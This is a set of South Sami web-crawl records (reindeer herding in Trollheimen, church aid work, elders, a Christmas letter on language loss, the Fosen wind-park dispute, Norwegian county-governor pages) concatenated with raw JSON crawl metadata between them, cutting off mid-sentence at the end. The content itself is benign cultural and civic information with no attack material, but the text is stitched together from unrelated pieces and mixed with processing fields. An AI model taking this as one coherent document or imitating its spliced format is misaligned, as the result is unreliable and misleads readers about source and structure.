Nöörjen åarjel-jillemes åarjelsaemien båatsoe-jieleme. Dan lea gåatome göökte fylhkine – Åarjel-Trøndelagesne jïh Møre jïh Romsdalesne, jïh tjïeltine Rennebu, Oppdal, Meldal, Midtre Gauldal, Sunndal, Surnadal jïh Rindal. Trollhïejmesne båatsoe-jieleme ektielisnie orreme dej minngemes gööktetjuetieh jaepiej jïh ennje lea daesnie. Båatsoe-jieleme Trollhïejmesne sjïere tsiehkiej mietie berkieh jïh jïjtse sjïerelaake (Trollhïejmenlaake) Trollhïejmen gaavhtan saemien båatsoe-jielemem dennie dajvesne vihtiestidh. Båatsoe-jïelemen lea guhkiem öövtiedamme båeries vuekien mietie, mohte lea seamma aejkien jieleme mij daelie aaj evtede. Daaletjen båatsoe-jieleme aaj motovrijen viehkiehvierhtieh åtna. Båatsoelaake dam fealadimmiem stuvrie. Trollhïejmen båatsoe-jielemen daelvie-ealoen leah 1 600 bovtsh, dejtie vïjhte sïjte-bielide juaka. Dah fuelhkieh Kant jïh Renander, gieh Nerskogesne årroeminie. Sïjte lea dah båatsoesaemieh gieh ektesne berkieh.","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/trollheimen-sijte.no\/index.php?sideID=328","date":"2017-08-17T01:37:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886102819.58\/warc\/CC-MAIN-20170817013033-20170817033033-00115.warc.gz","language":"sma","language_score":0.9999769926,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"sma_Latn_score\": 0.9999769926071167}","num_words":107,"character_repetition_ratio":0.114,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.159,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vadtesh aktegs almetjijstie vihkeles\nDaesnie berkieh tjaetsiem jïh beapmoem gaajhkesidie, voene-evtiedæmman, teologiske ööhpehtæmman, mikrolååjkedæmman jïh njoetjemasse jïh dovne laktemasse jïh religijovne- soptsestallemasse. Aaj rïektesvoetese berkieh, v.g rïektesvoeten åesiestæmman, mïrhtoe-veahkan, almetji reaktide jïh nyjsenæjjaj åvtehkevoetese.\nJïjnjemes barkoem maaksa beetnegi åvteste maam Sveerjesne tjöönghkeme. Jïjnjem daehtie barkoste, rïektesvoetem veartanasse dah åålmegh, aktegs vedtijh jïh sïebrh sijjen vadtesigujmie guedtieh. Dejnie mejnie Sida jïh EE dåarjoehtieh aaj akte jeatjah vihkeles dyödtove.\nSvïenske gærhkoen åålmegh gaskenaasjovni\/internationelle dan barkoen maadtosne. Dah bievnieh, ööhpehdehtieh jïh beetnegh tjöönghkieh, v.g kollekti tjirrh, basaarh jïh staaresne måedtie ïedtji tjïrrh.\nMeadtojde tjuara orrijidh\nDyödtove lea vihkeles, jalhts eah buektehth gaajhkh dåeriesmoeride loevenidh. Meadtoeh mah almetjidie heerredieh vyörtegslaakan jieledh tjuara orrijidh. Seamma aejkien gosse gaajhkesh daelie edtjieh jïelehtadtjedh, eatnemen vierhtieh tjuerieh båetije boelvide læjkodh.\nAbpe veartene, Svïenske gærhkoe byjreski gærhkojde jïh åårganisatjovnide Europesne, Afrikesne, Asijesne, Latinamerikesne jïh Gaske-luvlielaantine dåarjohte gosse dejgujmie ektesne berkieh gaskenaasjovni\/internationelle gærhkoen viermiej tjïrrh. Daate akte radtjoes vuekie barkedh gosse sæjhta maam joem jorkesidh guktie tjåadtjohte.\nGærhkoekanslijesne Uppsalesne soejkesjeminie guktie viehkieh tjöönghkedh, almetjidie ööhpehtidh jïh guktie barkedh gosse sæjhta maam eevtjedh. Desnie nænnoestieh mij prosjektide bïjre veartenem Abpe veartene, Svïenske gærhkoen gaskenaasjovni\/internationelle barkoe edtja beetnegigujmie jallh barkijigujmie dåarjoehtidh.\nAbpe veartene, Svïenske gærhkoen gaskenaasjovni\/internationelle barkoe bijjelen tjuetiejaepie gærhkoejgujmie ektesne Afrikesne jïh Asijesne barkeme.\nDaan biejjien akten rïektesvoeten veartanasse barka namhtah nealkoe, giefiesvoete jïh deebleme veartenevijries kristeles ektievoetesne. ACT-ektiedimmie abpe veartanisnie gååvnese. Gaajhkem lehkiem almetjh berkieh sijjen jielemem eevtjedh jïh jorkesidh.\nGosse giefies nyjsenæjjam jaahka åådtje lååjkedidh jïjtse jielemem fualhkan bueriemdidh, dïhte akte bielie gaskenaasjovni\/internationelle barkoste. Seamma aaj gosse akte hiv-såatehke jallh aids-skeamtjohke åadtjoejægan hoksem dåastoehtidh sijjeste ålkoestidh. Jallh gosse almetjh soptsestellieh liktedh sijjeste sinsitnide aassjoestidh, jïh gosse tsælloe jorkese jïh kraannah sïemes sjidtieh.","id":"","dump":"CC-MAIN-2017-34","url":"https:\/\/www.svenskakyrkan.se\/gaskenaasjovni\/internationelle-barkoe","date":"2017-08-20T06:00:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886105976.13\/warc\/CC-MAIN-20170820053541-20170820073541-00570.warc.gz","language":"sma","language_score":0.9999997616,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"sma_Latn_score\": 0.9999997615814209}","num_words":273,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.099,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"– Mijjieh tjoerebe dejtie saemien voeresidie vuejnedh goh almetjh joekehts vierhtiejgujmie jïh joekehts daerpiesvoetigujmie, Nora Marie Bransfjell jeahta, mij saemiepolitihken sïjse sæjhta juktie aaj voeresi aamhtesidie soptsestidh, dovne dejtie voeresidie daan biejjien jïh dejtie mah iktemearan båeries sjidtieh.\n– Manne vïenhtem saemien voeresh leah akte dejstie vihkielommes vierhtijstie mijjieh utnebe. Dah voeresh jïjnjem daajrojste jïh dåårjehtimmijste meatan guedtieh, vuesiehtimmien gaavhtan gïelen jïh jielemi sisnjeli, jïh fïereguhte aktem sjïere histovrijem åtna soptsestidh, Bransfjell jeahta.\nNora veanhta mijjieh dennie saemien siebriedahkesne tjoerebe vihth aelkedh dejtie voeresidie ååktedh, jïh dejtie baajedh vielie våajnoes jïh gåvloes årrodh siebriedahkesne. – Kultuvrem, gïelem jïh aerpievuekide vaarjelidh, guktie edtjebe dam darjodh jis ibie åadtjoeh lïeredh dejstie mah bodtem jieleme? Dah voeresh daajroem meatan guedtieh mij mijjem saemine tjïelkeste, jïh gaajhkesh dovnesh sijhtieh aevhkiem utnedh buerebe mieriejgujmie juktie daajroem sertiestidh dejtie nuerebe boelvide, Nora jeahta.\nBoelvegaavnesjimmie\nBransfjell veanhta jïjnje maahta dorjesovvedh juktie voeresidie aktem sijjem vedtedh siebriedahkesne mij mïelem vadta. Byöroe maehtedh gaavnesjimmieh öörnedidh jieniebidie boelvide guktie dah maehtieh joekehtslaakan gaavnesjidh jïh joekehts dajvine. Voeresh jïh noerh maehtieh gaavnesjidh gusnie åadtjoeh soptsestalledh, digkiedidh jïh soptsestidh. Mejtie vuejnebe daerpies aktine jïjtse åarjelsaemien voereseraerine aaj, jaa mejtie aaj sjïere voeresedïenesjh? – Guessiedïenesjh jïh skïemtjijegovlehtallijh leah råajvarimmieh mejtie manne vïenhtem leah vihkeles juktie voeresi vyörtegsvoetedomtesem lutnjedh. Mov mïelen mietie dle daate vihkeles råajvarimmieh, eah ajve dejtie voeresidie, Nora Bransfjell jeahta, mij gaskem jeatjah sæjhta daejtie vuajnojde bæjjese lutnjedh Saemiedigkesne.","id":"","dump":"CC-MAIN-2017-39","url":"http:\/\/nsr.no\/2298\/nora-bransjell-voeresi-joekehts-vierhtieh?lang=sma","date":"2017-09-22T11:32:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818688940.72\/warc\/CC-MAIN-20170922112142-20170922132142-00122.warc.gz","language":"sma","language_score":1.0000038147,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"sma_Latn_score\": 1.0000038146972656}","num_words":224,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.135,"stopwords_ratio":0.112,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"(Du kan velge nordsamiske (finsk), lulesamiske (dansk), sørsamiske (svensk) eller norske undertekster under innstillinger.)\nGieries gaajhkesh dovnesh\nDaan jaepien jåvle lij lissie buerie båeteme munnjien, akten guhkies jïh barkoes tjaktjen mænngan. Manne gegkestem dijjieh aaj naan seadtoes jåvlebiejjieh åtneme. Mubpien jaepien edtjebe 100 jaepieh aavoedidh saemiepolitihkeles barkojne gosse Tråantesne gaavnedibie – goevten 2017. Gegkestem mijjieh buektiehtibie 2017 darjodh akten jaapan måahtadimmine saemien siebriedahkesne, guktie gaajhkh mijjieh vielie ektievoetem jïh vieksiesvoetem damtebe. Daan tjaktjen aktem gïeledigkiedimmiem åtneme mij geerve orreme, men dagke maehtebe maam akt destie lïeredh?\nGaajhkem lehkiem gusnie fealedeminie jïh saemieh gaavnesjem, dle aaj soptsesh saejriesvoeten bïjre govlem. Mearoegaedtien mietie lea dov soptsese, mij ij leah åådtjeme saemien lïeredh daaroedehtemen gaavhtan, mij mannem jeenjemes duahta. Datne mij dagke damth datne leah saemien siebriedahken ålkolen. Dagke datne govleme datne ih leah nuekies hijven saemie, juktie ij leah iktesth dïhte saemien ektievoete lea nuekies feerhmeles. Dagke raaktan dïhte saemien gïele mïsse datne ektiedimmiem åtnah lea akte gïele maam vaenieh soptsestieh, jïh dannasinie geervebe lïeredh.\nIj vaajmoegïelem maehtedh. Manne aaj dam domtesem damtem. Mov eejhtegh idtjin munnjien saemesth, jalhts jïjtjh meehtin. Dah don baelien profesjonelle raeriem leajhtadin mij jeehti ij lij hijven maanide guektiengïeline årrodh. Munnjien akte stoerre gåaroes raejkie sjïdti, akte stoerre ohtselimmie.\nMænngan jieliedisnie, mænngan manne goh geerve almetje lim saemien lïereme, jïh aadtjen mov voestes maanam åådtjeme, dellie aktem orre såarhts saejriesvoetem damtim. Edtjim dam saemien nuhtjedh maam meehtim, maam damtim ij lij nuekies hijven? Dagke sïjhtim dellie vaahrese båetedh dam persovneles lïhkesvoetem dassedh mij edtja tjædtjetjeguaktaj gaskem årrodh.\nManne baersieldimmietjiehtjielisnie tjahkasjim gosse dam stoerre veeljemem veeltim, maanine mov faerhmesne. Aalkoelisnie maanese sïmmim – dan isveligke jïh sååjrehke lij dååjrese. Gosse dïsse bååstede vuartesjem dellie garmere sjïdtem. Daelie daajram manne reaktoelaakan veeljim, jïh dagke daate lea dïhte veeljeme maam ellen jeenjemes garmerdem daan biejjien. Manne aaj garmere, gosse daelie jaepien 2016 byögkelesvoetesne saemestem, jalhts fïerhte voestesgïeleldh almetje maahta hov dutnjien soptsestidh manne gujht ånnetji moltestem.\nGosse jeenjesigujmie dejstie soptsesteminie mah saemien gïelem hïejmeste utnieh, dellie akte jeatjah såarhts saejriesvoete jïh vaejvie. Manne damtem guktie datnine, mij dagke irhkesovveme dan åvteste datne saemie jïh saemesth. Dagke govleme dov daaroen gïele ij leah dan hijven daagkarijstie goh manne, mij daaroen voestesgïeline åtna. Datne dagke aaj dam persovneles dïedtem damth, jis ibie mijjieh mah saemesth gïelem guhkiebasse vaeltebe, dellie ij gïele sïjhth naan båetijem aejkiem utnedh.\nSaemien almetjh, manne gegkestem mijjieh jåvli mænngan aelkebe dam vigkiem mijjen gaskem måjkoedidh maam mijjen siebriedahkesne utnebe. Måjhtelh man joekoen åajvoeh, mijjieh annje jïjtjene gïelh utnebe. Mijjieh maehtebe, gaajhkesh dovnesh, jïjtjene nuepiejgujmie, mijjen buaratjommesem darjodh ihke gïele gååvnese aaj båetijen aejkien. Manne gegkestem mijjieh maehtebe dam ektesne darjodh, bielelen vaahrese båetedh aktem joekehtsem sjugniedidh gïeh hijven jïh nåake saemieh. Juktie gaajhkesh seamma hijven saemieh. Datne mij saemesth. Jïh datne mij ij leah saemien lïereme.\nGegkestem dijjieh naan raeffies jåvlebiejjieh åadtjode, jïh mijjieh sinsitnine buerie bïevsterinie jïh leajhtadimmine gaavnesjibie jåvli bissiebiejjiej mænngan. Lahkoe jåvlh!","id":"","dump":"CC-MAIN-2017-39","url":"http:\/\/nsr.no\/emne\/saernieh?lang=sma","date":"2017-09-22T11:42:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818688940.72\/warc\/CC-MAIN-20170922112142-20170922132142-00138.warc.gz","language":"sma","language_score":1.00000453,"language_script":"Latn","minhash_cluster_size":60,"top_langs":"{\"sma_Latn_score\": 1.000004529953003}","num_words":471,"character_repetition_ratio":0.042,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.098,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Strömsunds kommun ligger inom Saepmie, det vill säga det område där samer bor, verkar och utövar sin kultur. Därför är det naturligt att Strömsund ingår i förvaltningsområdet för samiska, där samisk kultur och samiska språk har ett förstärkt skydd enligt lagen om nationella minoriteter och minoritetsspråk.\nStraejmien tjïelte Saepmesne gællesje, dajvesne gusnie saemieh årroeh, berkieh jïh kultuvrine gïehtelieh. Dan gaavhtan sïejhme ahte Straejmie reeremedajvesne saemien gïelide meatan lea, gusnie saemien kultuvre jïh saemien gïele garrebe vaarjelimmiem utnieh naemhtie guktie laakesne nasjovnelle unnebelåhkoealmetji jïh unnebelåhkoegïeli bïjre tjåådtje.\nSenaste nytt\nFler nyheter\nSenast ändrad\/granskad: 31 juli 2017","id":"","dump":"CC-MAIN-2017-39","url":"http:\/\/www.stromsund.se\/kommunochpolitik\/samiskforvaltningskommun.4.60e2e10e1572b72bf3175859.html","date":"2017-09-26T03:47:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818694719.89\/warc\/CC-MAIN-20170926032806-20170926052806-00027.warc.gz","language":"sma","language_score":0.8981727958,"language_script":"Latn","minhash_cluster_size":75,"top_langs":"{\"sma_Latn_score\": 0.8981727957725525, \"swe_Latn_score\": 0.08685176074504852, \"sme_Latn_score\": 0.013019014149904251}","num_words":93,"character_repetition_ratio":0.042,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.086,"flagged_words_ratio":0.0,"lang_id_score":0.914,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Lïeneståvroen dïedte lea åvtelbodti laanestimmievaarjelimmiem juvride lïenesne.\nJåartaburrieverken lea bijjemes dïedte juvrehealsoen åvteste jïh laanestimmie juvreskïemtjelassi vööste barkedh.\nLïeneståvroe åvtelbodti jïh dan vööste barka\nLïeneståvre dam åvtelbodti laanestimmievaarjelimmiem gïetede juvrij bïjre lïenesne, jïh mijjieh barkoem muvhth tjoeperen laanestimmeles skïemtjelassi vööste stuvrehtibie jïh ektiedibie. Naan dejstie laanestieh jïh stoerre dåeriesmoerh dejstie åadtjoeh juvrigujmie, guktie gohtje epizootierh (vuesiehtimmien gaavhtan plaavenjoektjeme jïh krehpehke). Jeatjah skïemtjelassh juvri jïh almetji gaskem laanestieh jïh destie maehtieh almetjh skeamhtjodh, guktie gohtje zoonoserh (vuesiehtimmien gaavhtan salmonella, gåbloe-gossehtahke jïh rabibiese).\nLïeneståvroe maahta laanestimmievaarjelimmie-dåakterigujmie, Statens smittskyddsinstitutine, Jordbruksverkine, Livsmedelsverkine, Statens veterinärmedicinska anstaltine, veterinærigujmie jïh lïenen tjïeltigujmie laavenjostedh muvhth aamhtesigujmie.","id":"","dump":"CC-MAIN-2017-39","url":"http:\/\/www.lansstyrelsen.se\/stockholm\/SMA\/djur-och-natur\/smittskydd\/Pages\/default.aspx","date":"2017-09-19T15:07:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818685850.32\/warc\/CC-MAIN-20170919145852-20170919165852-00492.warc.gz","language":"sma","language_score":0.9999611378,"language_script":"Latn","minhash_cluster_size":45,"top_langs":"{\"sma_Latn_score\": 0.9999611377716064}","num_words":98,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.115,"stopwords_ratio":0.133,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Reeremereakta\nReeremelaake sïejhme njoelkedassh åtna gaskem jeatjah tjiehpiesvoeten, sjeavohtsvoetedïedten jïh bïhkedimmiedïedten bïjre. Laake aaj salkehtimmiedïedtem, buerkiestimmiedïedtem, bieljelimmiedïedtem jïh klååkeme-jïh jarkelimmienuepiem gïetede. Laakesne aaj njoelkedassh guktie edtja mieriedimmieh jïh njoelkedassh darjodh.\nReeremelaake nænnoste gaskem jeatjah guktie akte tjïelte jallh staateles reeremeåårgane edtja nænnoestimmiem darjodh, jïh dutnjien goh årroje tjïelke reaktah vadta gosse byögkelesvoetine govlehtallh.\nDov lea reakta bieljelimmiem åadtjodh akten juhtije aamhtesen bïjre.Dov lea reakta raerien mietie gihtjedh akten advokaaten jallh jeatjeben luvnie datne leajhtedh.Dov lea reakta (naan gille laahpehtassigujmie) tjaatsegidie vuejnedh dov aamhtesisnie.Dov lea reakta buerkiestimmiem åadtjodh dan nænnoestæmman mij lea dorjeme.Dov lea reakta aktegsnænnoestimmiem laejhtedh.Datne maahtah muvhti veajkoej aamhtesemaaksojde maakseme åadtjodh, jis nænnoestimmie jorkese akten klååkemen mænngan. Datne edtjh viehkiem åadtjodh klååkedh dan luvnie mij nænnoestimmiem dorjeme.\nAjve nænnoestimmieh mah leah aktegsalmetji reaktaj jïh dïedti bïjre, mah aktegsnænnoestimmine ryöknesuvvieh. Fylhkenålma lea klååkemesuerkie naan såarhts aktegsnænnoestimmiej åvteste.","id":"","dump":"CC-MAIN-2017-43","url":"https:\/\/www.fylkesmannen.no\/sma\/Buskeruden\/Almetjh-jih-siebriedahke\/Reeremereakta\/","date":"2017-10-17T05:50:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187820927.48\/warc\/CC-MAIN-20171017052945-20171017072945-00040.warc.gz","language":"sma","language_score":0.9999992847,"language_script":"Latn","minhash_cluster_size":36,"top_langs":"{\"sma_Latn_score\": 0.9999992847442627}","num_words":137,"character_repetition_ratio":0.103,"word_repetition_ratio":0.0,"special_characters_ratio":0.123,"stopwords_ratio":0.146,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gïeline åahpenidh 3b. Bïhkedimmie. Mubpiegïeline.\nDaate barkoegærja lea 3b. daltesasse mubpiegïeline. Barkoegærjesne grammatihke-laavenjassh jïh jeatjah laavenjassh mahte gaajhkide tekstide lohkemegærjesne.\nLohkemegærja, bïhkedimmie lohkehtæjjide jïh CD aaj gååvnesieh.\nDenne arbeidsboka er for nivå 3b andrespråk. I arbeidsboka finnes det grammatikkoppgaver og andre oppgaver til nesten alle tekstene i leseboka\nI læreverket Gïeline åahpenidh 3b for andrespråk finnes også arbeidsbok, lærerveiledning og CD.\nBestillinger til skoler og institusjoner bes rettet til ordretelefon 22500400.","id":"","dump":"CC-MAIN-2017-43","url":"http:\/\/solumforlag.no\/boker\/g%C3%AFeline-%C3%A5ahpenidh-3b-b%C3%AFhkedimmie-mubpieg%C3%AFeline-0","date":"2017-10-24T09:39:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187828356.82\/warc\/CC-MAIN-20171024090757-20171024110757-00867.warc.gz","language":"sma","language_score":0.918142736,"language_script":"Latn","minhash_cluster_size":31,"top_langs":"{\"sma_Latn_score\": 0.9181427359580994, \"sme_Latn_score\": 0.06478473544120789, \"nob_Latn_score\": 0.016142690554261208}","num_words":70,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.162,"stopwords_ratio":0.057,"flagged_words_ratio":0.0,"lang_id_score":0.949,"perplexity_score":500.0,"cluster_detection":1} +{"text":"LESERINNLEGG PÅ SØRSAMISK OG NORSK: Ståvroen lïhtsege Nöörjen Saemiej Rijhkesiebresne (NSR N) Maja Kristine Jåman håhkoe åadtjoe aaj båetije biejjide båatsojne jïh båatsojste jieledh. Daelie håhkoem håvhtedåvva Europan stööremes bïegkefaamoeprosjeekte Stoerretjahkesne Fovsesne.\/ Styremedlem i Norske Samers Riksforbunds Ungdomsutvalg (NSR U) Maja Kristine Jåma ønsker seg en framtid som reindriftsutøver. Denne framtida trues nå av utbyggingen av Europas største vindmøllepark på Storheia i Fosen.\nMaja Kristine Jåma (NSR N) byjjeni aktene båatsoefuelhkine Åarjel-Fosven Njaarke sïjtesne, jïh håhkoe maahta bovtsigujmie barkedh båetije biejjide. Mohte håhkoem håvhtede gosse soejkesjamme Europan stööremes bïegkefaamoe altese daelvielaantesne utnedh Stoerretjahkesne Fovsesne.\n– Mohte illedahkem dagkerijstie bïegkefaamoeprosjeekteste lea ahte 1\/3 bielie daelvielaanteste dassene. Vaenebe gåatome jeahta vaenebe bovtsh båatsoelaantesne. Mohte jis dagkerem prosjeektem åådtje bigkesovvedh, dellie akte dejstie båatsoefuelhkeste tjuara galkedh båatsoejieliemistie? Manne bïllem im åadtjoeh bovtsigujmie barkedh båetije biejjide, Jåma jeahta.\nJåma vielie soptseste ahte daate bïegkefaamoeprosjeekte ij barre båatsoejielem håvhtedh, mohte aaj abpe åarjelsaemien siebriedahkem.\n– Båatsoejieleme lea akte kultuvreguedtije, numhtie båatsoe aaj åarjelsaemien gïelem, vuekiedaajroem jïh kultuvrem vaarjele. Gosse båatsoe haajpene dle mijjen gïelem jïh kultuvrem aaj håvhtedovvieh.\nTråanten mubpien åvtehke Hilde Opoku (MDG) aarebi jeahteme Tråanten tjïelte tjuara maam akt darjodh juktie TrønderEnergi bigkiefaamoeprosjeekteste laehpedh. Jåma jïh NSR N seamma ussjedieh jïh seamma mïelesne.\n– Daelie aanje gååvnesieh jïejkemh mejtie daate aevhkies prosjeekte siebriedahkese. Annje lea naemhtie ahte aamhtese reakta-aamhtesisnie. Mijjen mïelesne ij leah reaktoe ahte saemien båatsoeburriejieleme jïh saemien kultuvre tjuara sveehkedh juktie dagkere risikaabele prosjeekten åvteste. Daelie Tråanten tjïelte jïh mubpieh byjjes aajhtereinstansh tjuerieh ektine vierhtiedidh mejtie byjjesvierhtieh rïekteslaakan nuhtjesuvvieh, Jåma jeahta.\nPå Norsk:\nMaja Kristine Jåma (NSR U) er oppvokst i en reindriftsfamilie i Åarjel Fovsen Njaarke, og ser for seg en framtid som reindriftsutøver. Men hennes framtid trues av at Europas største vindmøllepark planlegges bygd på hennes vinterbeiter på Storheia i Fosen.\n– Konsekvensen av en slik utbygging er at 1\/3 av vårt vinterbeite går tapt for alltid – og mindre beite betyr mindre plass. Nå er det tre familier som driver med reindrift i området. Må en familie slutte med reindrift dersom planene gjennomføres? Jeg er redd for at min fremtid som reindriftsutøver trues dersom prosjektet gjennomføres, sier Jåma.\nJåma forteller videre at utbyggingen ikke bare vil ha konsekvenser for reindrifta som næring, men også for hele det sørsamiske samfunnet.\n– Reindrifta er en kulturbærende næring, noe som vil si at reindrifta bidrar til å bevare både sørsamisk språk, tradisjonskunnskap og kultur. Forsvinner reindrifta, vil dette også true vårt språk og vår kultur.\nVaraordfører i Trondheim Hilde Opoku (MDG) har tidligere tatt til orde for at Trondheim kommune må bruke sitt eierskap til å trekke TrønderEnergi ut av det omstridte vindmølleprosjektet. Dette stiller Jåma og NSR U seg bak.\n– Det hersker fortsatt tvil om dette er et samfunnsmessig lønnsomt prosjekt, og det er fortsatt slik at saken gjennomgår en rettslig prosess. Vi mener det er uakseptabelt at den tradisjonelle samiske reindrifta og kulturen skal måtte vike for et så risikabelt prosjekt. Her må Trondheim kommune og de andre offentlige eierinstansene vurdere om dette er riktig bruk av det offentliges ressurser, avslutter Jåma.","id":"","dump":"CC-MAIN-2017-43","url":"https:\/\/snasanytt.no\/2017\/04\/22\/sijhtem-baatsojste-jieledh-baetije-biejjide-jeg-vil-ha-en-fremtid-som-reindriftsutover\/","date":"2017-10-17T11:42:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187821088.8\/warc\/CC-MAIN-20171017110249-20171017130249-00767.warc.gz","language":"sma","language_score":0.9388919473,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9388919472694397, \"nob_Latn_score\": 0.035748571157455444, \"sme_Latn_score\": 0.023620083928108215}","num_words":495,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.04,"flagged_words_ratio":0.0,"lang_id_score":0.957,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjïelten ekonomije\nFylhkenålma edtja raeriestidh jïh bïhkedidh ekonomijereeremisnie, gaskem jeatjah njoelkedassi, baalhkaöörnegen jïh staatebudsjedten bïjre.\nRobek\nTjïelth vielieåtnojne, maam tjïelth eah tjïeltelaaken krïevenassi mietie maeksieh, vïhtesjadteme sjidtieh registerisne \"Register om betinget godkjenning og kontroll\" (Robek). Fylhkenålma edtja budsjedtem jïh ekonomijesoejkesjh Robek-tjïeltine gïehtjedidh, jïh edtja aaj gaajhkh nænnoestimmieh löönemen jïh guhkies leejjemelatjkoej bïjre jååhkesjidh.\nTjïelten garantijh\nTjïelth maehtieh löönemegarantijh vedtedh. Gosse akte tjïelte akten beetnehveahkan åvteste garanterede mij lea stuerebe goh 500 000 kråvnah, dle Fylhkenålma edtja nænnoestimmiem jååhkesjidh.\nSkjønnsvierhtieh\nTjïelth maehtieh skjønn-svierhtieh åadtjodh, mah leah akte bielie dejstie staateles sertiestimmijste tjïeltesuarkan. Fylhkenålma vierhtide joekede tjïeltese fïereguhtene fylhkesne. Joekedimmie lea departemeenten bïhkedassi mietie.\nGasketjïelten sïelth\nFylhkenålma edtja nænnoestimmieh jååhkesjidh jis edtja löönemh vaeltedh gasketjïelten sïeltine.","id":"","dump":"CC-MAIN-2017-43","url":"https:\/\/www.fylkesmannen.no\/sma\/Buskeruden\/Tjielten-stuvreme\/Tjielten-ekonomije\/","date":"2017-10-20T14:17:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187824225.41\/warc\/CC-MAIN-20171020135519-20171020155519-00877.warc.gz","language":"sma","language_score":0.9999741316,"language_script":"Latn","minhash_cluster_size":43,"top_langs":"{\"sma_Latn_score\": 0.9999741315841675}","num_words":112,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.125,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gaahpoetïjjh doekemesijjide\nIhkuve doekemesijjieh mah vaaroeh utnijdie duekieh, edtjieh åejvienjoelkedassine steegkeldahkesne årrodh aejlegi jïh bissiebiejjiej. Fylhkenålma maahta dispensasjovnem destie vedtedh. Datne dispensasjovnen bïjre syökh ryöktesth Fylhkenålmese.\nGosse Fylhkenålma ohtsemh gaahpoetijjen bïjre gïetede aejlegi jïh bissiebiejjiej, edtja uvtemes barkijidie krööhkestidh. Dannasinie tjoerh vihtiestidh barkijh jïh barkoevedtije leah sïemes gaskemsh gaahpoetijjen bïjre aejlegi jïh bissiebiejjiej. Fylhkenålma lahtestimmieh jienebh guejmijste vedtjie, jïh dannasinie byöroe ohtsemem dispensasjovnen bïjre seedtedh 1-2 askh åvtelen dam sjyöhtehke biejjiem.\nOhtsemen mietie tjïelteste Fylhkenålma maahta nænnoestidh akte dajve edtja ryöknesovvedh goh akte sjïere turistesijjie abpe jaepiem jallh bielieh jaepeste. Dellie ij leah naan gaertjiedimmieh gaahpoetijjen bïjre, laakesne bissiebiejjiej jïh bissiebiejjieraeffien bïjre.","id":"","dump":"CC-MAIN-2017-43","url":"https:\/\/www.fylkesmannen.no\/sma\/Buskeruden\/Almetjh-jih-siebriedahke\/Gaahpoetijjh-doekemesijjide\/","date":"2017-10-19T05:25:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187823229.49\/warc\/CC-MAIN-20171019050401-20171019070401-00140.warc.gz","language":"sma","language_score":0.9999998808,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"sma_Latn_score\": 0.9999998807907104}","num_words":101,"character_repetition_ratio":0.112,"word_repetition_ratio":0.0,"special_characters_ratio":0.123,"stopwords_ratio":0.168,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkien kultuvre jih saavrehke stipeende edtja saemien noeride eadtjaldovvedh jih svïhtjedh, musihkene, kåanstene, kultuvrene gïehtelidh. Vijhte stipeendh à 25 000 kr.\nSaemiedigkieraerien Henrik Olsen geerjene daan jijnjh tjiehpies noereh daejtie stipeendide ohtseme.\n– Daate vuesehte jijnjh væjkeles noereh tjiehpies kultuvrem vaarjelidh jih svïhtjedh. Daate joekoen båatijen beajjan sjædta. Geerve sjidti veeljedh gieh mah edtjieh stipeendide åadtjodh, Saemiedigkie raerien Henrik Olsene jeahta.\nSvïhtjeme stipeendide dah guaktah åadtjoejægan.\nOle Mathis Sara Nedrejord treavka gujmie njolhtjoe jih Aslak Ole Eira tjuajka.\nDah kultuvre stipeendide åadtjoeh.\nIna-Theres Andrea Sparrok tjiehpies guvviedidh. Dihte tjiehpies laakan åarjelsaemien båatsoe-jielemem 